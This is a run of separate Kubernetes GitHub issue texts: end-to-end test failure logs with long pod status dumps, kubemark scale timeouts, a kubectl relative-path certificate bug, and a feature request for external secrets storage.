/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/emicklei/go-restful/container.go:120 +0x3e net/http.handlerfunc.servehttp 0xc820f955b0, 0x7f3b5d02e808, 0xc83fde0230, 0xc8252e8460      /usr/local/go/src/net/http/server.go:1618 +0x3a      and client side error:      couldn't get version/kind; json parse error: unexpected end of json input      it's very rare  it's the first time we saw it , but it probably indicates some real problem. only explanations we were able to think of is either the bug in json encoding library  rather unlikely, as this should be a pretty straighforward  or a memory corruption  which we think is more likely . the latter would indicate a bug in a go compiler  unlikely  or a bug in our code, as we started to pass pointers instead of copies in a lot of places some time ago.  cc @wojtek-t @smarterclayton @lavalamp @kubernetes/sig-api-machinery

test has been failing  100% of the time  http://k8s-testgrid.appspot.com/google-1.3-1.5-upgrade gke-container_vm-1.3-container_vm-1.5-upgrade-master&include-filter-by-regex=pods%20should%20not%20start%20app%20containers%20if%20init%20containers%20fail%20on%20a%20restartalways%20pod  in  ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-master  http://k8s-testgrid.appspot.com/google-1.3-1.5-upgrade gke-container_vm-1.3-container_vm-1.5-upgrade-master . sample failure:  link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-master/15 .\r \r based on  spreadsheet  https://docs.google.com/spreadsheets/d/1sazqywe--0fvn1piuktw9jwmcxnz6tqim1mrjdiltm4/edit gid=1325239137&vpid=a1  tracking 1.5 upgrade test failures created by @krousey.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.3-gci-1.5-upgrade-master/22/  multiple broken tests:  failed:  k8s.io  nodes  disruptive   k8s.io  resize  slow  should be able to delete nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:453 expected error:     < errors.errorstring | 0xc821dbe9c0>: {         s: \ failed to wait for pods responding: pod with uid da8cbbda-bd8f-11e6-afe1-42010af0002e is no longer a member of the replica set.  must have been restarted for some reason.  current replica set: &{{ } {/api/v1/namespaces/e2e-tests-resize-nodes-gr6jr/pods 42228}  {{ } {my-hostname-delete-node-45pwn my-hostname-delete-node- e2e-tests-resize-nodes-gr6jr /api/v1/namespaces/e2e-tests-resize-nodes-gr6jr/pods/my-hostname-delete-node-45pwn da8c4270-bd8f-11e6-afe1-42010af0002e 41920 0 {2016-12-08 13:47:02 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-gr6jr\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ da89ccfc-bd8f-11e6-afe1-42010af0002e\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 41901\\\ }}\    {v1 replicationcontroller my-hostname-delete-node da89ccfc-bd8f-11e6-afe1-42010af0002e 0xc8228b3077}    } { {default-token-3fdsf {<nil> <nil> <nil> <nil> <nil> 0xc8221f12c0 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-3fdsf true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc8228b3170 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-a24a81d1-t3y8 0xc822e7d580     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:02 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:04 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:02 -0800 pst}  }    10.240.0.5 10.96.3.2 2016-12-08t13:47:02-08:00     {my-hostname-delete-node {<nil> 0xc822983c20 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://7f7a2b05dcf97a53f0cb8c1150097f75798ff540dcd51f4c17b6b385dd34e02b} }} {{ } {my-hostname-delete-node-dsl1t my-hostname-delete-node- e2e-tests-resize-nodes-gr6jr /api/v1/namespaces/e2e-tests-resize-nodes-gr6jr/pods/my-hostname-delete-node-dsl1t 14a0e5e6-bd90-11e6-afe1-42010af0002e 42073 0 {2016-12-08 13:48:40 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-gr6jr\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ da89ccfc-bd8f-11e6-afe1-42010af0002e\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 41980\\\ }}\    {v1 replicationcontroller my-hostname-delete-node da89ccfc-bd8f-11e6-afe1-42010af0002e 0xc8228b3407}    } { {default-token-3fdsf {<nil> <nil> <nil> <nil> <nil> 0xc8221f1320 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-3fdsf true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc8228b3500 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-a24a81d1-t3y8 0xc822e7d680     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:48:40 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:48:42 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:48:40 -0800 pst}  }    10.240.0.5 10.96.3.4 2016-12-08t13:48:40-08:00     {my-hostname-delete-node {<nil> 0xc822983ce0 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://e930d7b12bffe92189e7964ae4e4f95e539adcdfac3a203a1b52638153eecb34} }} {{ } {my-hostname-delete-node-zq10j my-hostname-delete-node- e2e-tests-resize-nodes-gr6jr /api/v1/namespaces/e2e-tests-resize-nodes-gr6jr/pods/my-hostname-delete-node-zq10j da8c971f-bd8f-11e6-afe1-42010af0002e 41916 0 {2016-12-08 13:47:02 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ e2e-tests-resize-nodes-gr6jr\\\ ,\\\ name\\\ :\\\ my-hostname-delete-node\\\ ,\\\ uid\\\ :\\\ da89ccfc-bd8f-11e6-afe1-42010af0002e\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 41901\\\ }}\    {v1 replicationcontroller my-hostname-delete-node da89ccfc-bd8f-11e6-afe1-42010af0002e 0xc8228b3797}    } { {default-token-3fdsf {<nil> <nil> <nil> <nil> <nil> 0xc8221f1380 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-3fdsf true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc8228b3890 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-a24a81d1-vwav 0xc822e7d7c0     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:02 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:03 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:02 -0800 pst}  }    10.240.0.3 10.96.1.4 2016-12-08t13:47:02-08:00     {my-hostname-delete-node {<nil> 0xc822983d00 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://e887aedf8f1e012aa8322fa51a7fbd3869da9a0a090b8c40ec69bb533cc12425} }} }\ ,     }     failed to wait for pods responding: pod with uid da8cbbda-bd8f-11e6-afe1-42010af0002e is no longer a member of the replica set.  must have been restarted for some reason.  current replica set: &{{ } {/api/v1/namespaces/e2e-tests-resize-nodes-gr6jr/pods 42228}  {{ } {my-hostname-delete-node-45pwn my-hostname-delete-node- e2e-tests-resize-nodes-gr6jr /api/v1/namespaces/e2e-tests-resize-nodes-gr6jr/pods/my-hostname-delete-node-45pwn da8c4270-bd8f-11e6-afe1-42010af0002e 41920 0 {2016-12-08 13:47:02 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-gr6jr\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ da89ccfc-bd8f-11e6-afe1-42010af0002e\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 41901\ }}        {v1 replicationcontroller my-hostname-delete-node da89ccfc-bd8f-11e6-afe1-42010af0002e 0xc8228b3077}    } { {default-token-3fdsf {<nil> <nil> <nil> <nil> <nil> 0xc8221f12c0 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-3fdsf true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc8228b3170 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-a24a81d1-t3y8 0xc822e7d580     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:02 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:04 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:02 -0800 pst}  }    10.240.0.5 10.96.3.2 2016-12-08t13:47:02-08:00     {my-hostname-delete-node {<nil> 0xc822983c20 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://7f7a2b05dcf97a53f0cb8c1150097f75798ff540dcd51f4c17b6b385dd34e02b} }} {{ } {my-hostname-delete-node-dsl1t my-hostname-delete-node- e2e-tests-resize-nodes-gr6jr /api/v1/namespaces/e2e-tests-resize-nodes-gr6jr/pods/my-hostname-delete-node-dsl1t 14a0e5e6-bd90-11e6-afe1-42010af0002e 42073 0 {2016-12-08 13:48:40 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-gr6jr\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ da89ccfc-bd8f-11e6-afe1-42010af0002e\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 41980\ }}        {v1 replicationcontroller my-hostname-delete-node da89ccfc-bd8f-11e6-afe1-42010af0002e 0xc8228b3407}    } { {default-token-3fdsf {<nil> <nil> <nil> <nil> <nil> 0xc8221f1320 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-3fdsf true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc8228b3500 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-a24a81d1-t3y8 0xc822e7d680     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:48:40 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:48:42 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:48:40 -0800 pst}  }    10.240.0.5 10.96.3.4 2016-12-08t13:48:40-08:00     {my-hostname-delete-node {<nil> 0xc822983ce0 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://e930d7b12bffe92189e7964ae4e4f95e539adcdfac3a203a1b52638153eecb34} }} {{ } {my-hostname-delete-node-zq10j my-hostname-delete-node- e2e-tests-resize-nodes-gr6jr /api/v1/namespaces/e2e-tests-resize-nodes-gr6jr/pods/my-hostname-delete-node-zq10j da8c971f-bd8f-11e6-afe1-42010af0002e 41916 0 {2016-12-08 13:47:02 -0800 pst} <nil> <nil> map name:my-hostname-delete-node  map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicationcontroller\ ,\ namespace\ :\ e2e-tests-resize-nodes-gr6jr\ ,\ name\ :\ my-hostname-delete-node\ ,\ uid\ :\ da89ccfc-bd8f-11e6-afe1-42010af0002e\ ,\ apiversion\ :\ v1\ ,\ resourceversion\ :\ 41901\ }}        {v1 replicationcontroller my-hostname-delete-node da89ccfc-bd8f-11e6-afe1-42010af0002e 0xc8228b3797}    } { {default-token-3fdsf {<nil> <nil> <nil> <nil> <nil> 0xc8221f1380 <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil> <nil>}}      {my-hostname-delete-node gcr.io/google_containers/serve_hostname:v1.4         { 0 9376 tcp }     {map   map  }  {default-token-3fdsf true /var/run/secrets/kubernetes.io/serviceaccount }  <nil> <nil> <nil> /dev/termination-log ifnotpresent <nil> false false false}  always 0xc8228b3890 <nil> clusterfirst map   default gke-bootstrap-e2e-default-pool-a24a81d1-vwav 0xc822e7d7c0     } {running  {initialized true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:02 -0800 pst}  } {ready true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:03 -0800 pst}  } {podscheduled true {0001-01-01 00:00:00 +0000 utc} {2016-12-08 13:47:02 -0800 pst}  }    10.240.0.3 10.96.1.4 2016-12-08t13:47:02-08:00     {my-hostname-delete-node {<nil> 0xc822983d00 <nil>} {<nil> <nil> <nil>} true 0 gcr.io/google_containers/serve_hostname:v1.4 docker://sha256:7f39284ddc3df6c8a89394c18278c895689f68c8bf180cfd03326771f4be9fb5 docker://e887aedf8f1e012aa8322fa51a7fbd3869da9a0a090b8c40ec69bb533cc12425} }} } not to have occurred     issues about this test specifically:  27233  36204   failed: diffresources {e2e.go}      error: 1 leaked resources +a6957f375bd5f11e693fa42010af0003  us-central1     issues about this test specifically:  33373  33416  34060   failed:  k8s.io  job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/job.go:198 expected error:     < errors.errorstring | 0xc8200bd060>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred     issues about this test specifically:  28773  29506  30699  32734  34585  38391   failed:  k8s.io  pods should invoke init containers on a restartalways pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:798 expected     <bool>: false to be true       failed:  k8s.io  pods should invoke init containers on a restartnever pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:729 expected     <bool>: false to be true     issues about this test specifically:  26131   failed:  k8s.io  pods should not start app containers if init containers fail on a restartalways pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:913 expected     < errors.errorstring | 0xc8200bd060>: {         s: \ timed out waiting for the condition\ ,     } to be nil     issues about this test specifically:  29954   failed:  k8s.io  kubectl client  k8s.io  kubectl apply should reuse nodeport when apply to an existing svc {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:471 expected error:     < errors.errorstring | 0xc821b07f50>: {         s: \ error running &{/workspace/kubernetes_skew/cluster/kubectl.sh  /workspace/kubernetes_skew/cluster/kubectl.sh --server=https://107.178.209.190 --kubeconfig=/workspace/.kube/config get service redis-master --namespace=e2e-tests-kubectl-rlrm9 -o jsonpath={.spec.ports 0 .nodeport}      <nil> error executing template: nodeport is not found. printing more information for debugging the template:\ \\ttemplate was:\ \\t\\t{.spec.ports 0 .nodeport}\ \\tobject given to jsonpath engine was:\ \\t\\tmap string interface {}{\\\ kind\\\ :\\\ service\\\ , \\\ apiversion\\\ :\\\ v1\\\ , \\\ metadata\\\ :map string interface {}{\\\ name\\\ :\\\ redis-master\\\ , \\\ namespace\\\ :\\\ e2e-tests-kubectl-rlrm9\\\ , \\\ selflink\\\ :\\\ /api/v1/namespaces/e2e-tests-kubectl-rlrm9/services/redis-master\\\ , \\\ uid\\\ :\\\ 2f154cf1-bd78-11e6-afe1-42010af0002e\\\ , \\\ resourceversion\\\ :\\\ 23639\\\ , \\\ creationtimestamp\\\ :\\\ 2016-12-08t18:57:36z\\\ , \\\ labels\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }}, \\\ spec\\\ :map string interface {}{\\\ type\\\ :\\\ clusterip\\\ , \\\ sessionaffinity\\\ :\\\ none\\\ , \\\ ports\\\ :  interface {}{map string interface {}{\\\ port\\\ :6379, \\\ targetport\\\ :\\\ redis-server\\\ , \\\ protocol\\\ :\\\ tcp\\\ }}, \\\ selector\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ clusterip\\\ :\\\ 10.99.246.64\\\ }, \\\ status\\\ :map string interface {}{\\\ loadbalancer\\\ :map string interface {}{}}}\ \  error: error executing jsonpath \\\ {.spec.ports 0 .nodeport}\\\ : nodeport is not found\     <nil> 0xc8214bf820 exit status 1 <nil> true  0xc820b1a710 0xc820b1a728 0xc820b1a750   0xc820b1a710 0xc820b1a728 0xc820b1a750   0xc820b1a720 0xc820b1a748   0xa97590 0xa97590  0xc821db7e00}:\ command stdout:\ error executing template: nodeport is not found. printing more information for debugging the template:\ \\ttemplate was:\ \\t\\t{.spec.ports 0 .nodeport}\ \\tobject given to jsonpath engine was:\ \\t\\tmap string interface {}{\\\ kind\\\ :\\\ service\\\ , \\\ apiversion\\\ :\\\ v1\\\ , \\\ metadata\\\ :map string interface {}{\\\ name\\\ :\\\ redis-master\\\ , \\\ namespace\\\ :\\\ e2e-tests-kubectl-rlrm9\\\ , \\\ selflink\\\ :\\\ /api/v1/namespaces/e2e-tests-kubectl-rlrm9/services/redis-master\\\ , \\\ uid\\\ :\\\ 2f154cf1-bd78-11e6-afe1-42010af0002e\\\ , \\\ resourceversion\\\ :\\\ 23639\\\ , \\\ creationtimestamp\\\ :\\\ 2016-12-08t18:57:36z\\\ , \\\ labels\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }}, \\\ spec\\\ :map string interface {}{\\\ type\\\ :\\\ clusterip\\\ , \\\ sessionaffinity\\\ :\\\ none\\\ , \\\ ports\\\ :  interface {}{map string interface {}{\\\ port\\\ :6379, \\\ targetport\\\ :\\\ redis-server\\\ , \\\ protocol\\\ :\\\ tcp\\\ }}, \\\ selector\\\ :map string interface {}{\\\ app\\\ :\\\ redis\\\ , \\\ role\\\ :\\\ master\\\ }, \\\ clusterip\\\ :\\\ 10.99.246.64\\\ }, \\\ status\\\ :map string interface {}{\\\ loadbalancer\\\ :map string interface {}{}}}\ \ \ stderr:\ error: error executing jsonpath \\\ {.spec.ports 0 .nodeport}\\\ : nodeport is not found\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes_skew/cluster/kubectl.sh  /workspace/kubernetes_skew/cluster/kubectl.sh --server=https://107.178.209.190 --kubeconfig=/workspace/.kube/config get service redis-master --namespace=e2e-tests-kubectl-rlrm9 -o jsonpath={.spec.ports 0 .nodeport}      <nil> error executing template: nodeport is not found. printing more information for debugging the template:     \ttemplate was:     \t\t{.spec.ports 0 .nodeport}     \tobject given to jsonpath engine was:     \t\tmap string interface {}{\ kind\ :\ service\ , \ apiversion\ :\ v1\ , \ metadata\ :map string interface {}{\ name\ :\ redis-master\ , \ namespace\ :\ e2e-tests-kubectl-rlrm9\ , \ selflink\ :\ /api/v1/namespaces/e2e-tests-kubectl-rlrm9/services/redis-master\ , \ uid\ :\ 2f154cf1-bd78-11e6-afe1-42010af0002e\ , \ resourceversion\ :\ 23639\ , \ creationtimestamp\ :\ 2016-12-08t18:57:36z\ , \ labels\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }}, \ spec\ :map string interface {}{\ type\ :\ clusterip\ , \ sessionaffinity\ :\ none\ , \ ports\ :  interface {}{map string interface {}{\ port\ :6379, \ targetport\ :\ redis-server\ , \ protocol\ :\ tcp\ }}, \ selector\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ clusterip\ :\ 10.99.246.64\ }, \ status\ :map string interface {}{\ loadbalancer\ :map string interface {}{}}}           error: error executing jsonpath \ {.spec.ports 0 .nodeport}\ : nodeport is not found         <nil> 0xc8214bf820 exit status 1 <nil> true  0xc820b1a710 0xc820b1a728 0xc820b1a750   0xc820b1a710 0xc820b1a728 0xc820b1a750   0xc820b1a720 0xc820b1a748   0xa97590 0xa97590  0xc821db7e00}:     command stdout:     error executing template: nodeport is not found. printing more information for debugging the template:     \ttemplate was:     \t\t{.spec.ports 0 .nodeport}     \tobject given to jsonpath engine was:     \t\tmap string interface {}{\ kind\ :\ service\ , \ apiversion\ :\ v1\ , \ metadata\ :map string interface {}{\ name\ :\ redis-master\ , \ namespace\ :\ e2e-tests-kubectl-rlrm9\ , \ selflink\ :\ /api/v1/namespaces/e2e-tests-kubectl-rlrm9/services/redis-master\ , \ uid\ :\ 2f154cf1-bd78-11e6-afe1-42010af0002e\ , \ resourceversion\ :\ 23639\ , \ creationtimestamp\ :\ 2016-12-08t18:57:36z\ , \ labels\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }}, \ spec\ :map string interface {}{\ type\ :\ clusterip\ , \ sessionaffinity\ :\ none\ , \ ports\ :  interface {}{map string interface {}{\ port\ :6379, \ targetport\ :\ redis-server\ , \ protocol\ :\ tcp\ }}, \ selector\ :map string interface {}{\ app\ :\ redis\ , \ role\ :\ master\ }, \ clusterip\ :\ 10.99.246.64\ }, \ status\ :map string interface {}{\ loadbalancer\ :map string interface {}{}}}               stderr:     error: error executing jsonpath \ {.spec.ports 0 .nodeport}\ : nodeport is not found          error:     exit status 1      not to have occurred     issues about this test specifically:  28523  35741  37820   failed:  k8s.io  pods should not start app containers and fail the pod if init containers fail on a restartnever pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/pods.go:1022 expected     < errors.errorstring | 0xc8200bd060>: {         s: \ timed out waiting for the condition\ ,     } to be nil     issues about this test specifically:  27465   failed:  k8s.io  v1job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/batch_v1_jobs.go:202 expected error:     < errors.errorstring | 0xc8200bd060>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred     issues about this test specifically:  27704  30127  30602  31070

failure cluster  504c3c35c87a7d8b3b54  https://go.k8s.io/triage 504c3c35c87a7d8b3b54        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:dynamickubeletconfig\\ : exit status 1           failure cluster statistics: 1 tests failed,    3 jobs failed,    104 builds failed. failure stats cover 1 day time range '17 jun 2017 06:02 utc' to '18 jun 2017 06:02 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 3 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-alpha-features | 55 |  18 jun 2017 05:18 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-alpha-features/13651  | | ci-kubernetes-e2e-gci-gke-alpha-features | 47 |  18 jun 2017 05:25 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-alpha-features/14057  | | ci-kubernetes-e2e-ubuntu-gke-alpha-features | 2 |  17 jun 2017 18:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-ubuntu-gke-alpha-features/428  |   current status  https://go.k8s.io/triage 504c3c35c87a7d8b3b54

some e.g runs that failed:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/563\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/567\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-gce-scale/576\r \r they all failed with the following error:\r \r    \r i0816 15:27:40.799   timeout waiting for all hollow-nodes to become running. \r i0816 15:27:40.992  found only 0 ready hollow-nodes while waiting for 5000.\r    \r \r cc @kubernetes/sig-scalability-bugs @wojtek-t @gmarek

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r  \r the current default volume plugin directory for controller manager is not a location executable by cos. need to change this default location.\r

is this a bug report or feature request?  :\r   \r   what happened  :\r    \r kubectl --kubeconfig ~/path/to/the/kubeconfig config set-cluster clustername \\\r --server= redacted  \\\r --certificate-authority=~/path/to/the/cluster/ca.crt \\\r --embed-certs=true\r    \r returns\r    \r error: could not read certificate-authority data from ~/path/to/the/cluster/ca.crt: open ~/path/to/the/cluster/ca.crt: no such file or directory\r    \r   what you expected to happen  :\r to successfully create a kubeconfig file and set up cluster related stuff in it\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl --kubeconfig ~/path/to/the/kubeconfig config set-cluster clustername \\\r --server= redacted  \\\r --certificate-authority=~/path/to/the/cluster/ca.crt \\\r --embed-certs=true\r    \r   anything else we need to know?  :\r but if i use an absolute path like:\r    \r kubectl --kubeconfig /users/username/path/to/the/kubeconfig config set-cluster clustername \\\r --server= redacted  \\\r --certificate-authority=/users/username/path/to/the/cluster/ca.crt \\\r --embed-certs=true\r    \r then it works.\r \r also, if i do:\r    \r cd ~/some/other/path\r    \r and then:\r    \r kubectl --kubeconfig ~/path/to/the/kubeconfig config set-cluster clustername \\\r --server= redacted  \\\r --certificate-authority=~/path/to/the/cluster/ca.crt \\\r    \r without   --embed-certs=true   it creates the kubeconfig file but the path to the cluser's ca.crt ends up being like   \ /users/username/some/other/path~/path/to/the/cluster/ca.crt\    in that kubeconfig\r \r   environment  :\r - kubernetes version: 1.9.3\r - cloud provider: azure\r - kubectl version: 1.9.3 on macos high sierra\r

i would like to see support for a pluggable secrets storage/retrieval.  i have seen  other issues  https://github.com/kubernetes/apiserver/issues/43  asking for the entire backend storage system to be pluggable, but that is overkill compared to what i am proposing.  basically i want to manage secrets in aws secrets manager, azure keyvault, vault or whatever, and just refer to them from in the k8s cluster.  i like the api and how secrets are mounted.  \r \r there are also other tickets asking for pluggable encryption using aws kms, which would be better than current situation but still not ideal because if you have multiple clusters your secrets are in multiple places.  \r \r i just do not want may secrets managed in the cluster, i would like to see them managed outside the cluster .  there can be just references inside the cluster.  also given this hosted k8s like eks or aks or gcp can default secrets to their platforms secrets store.\r

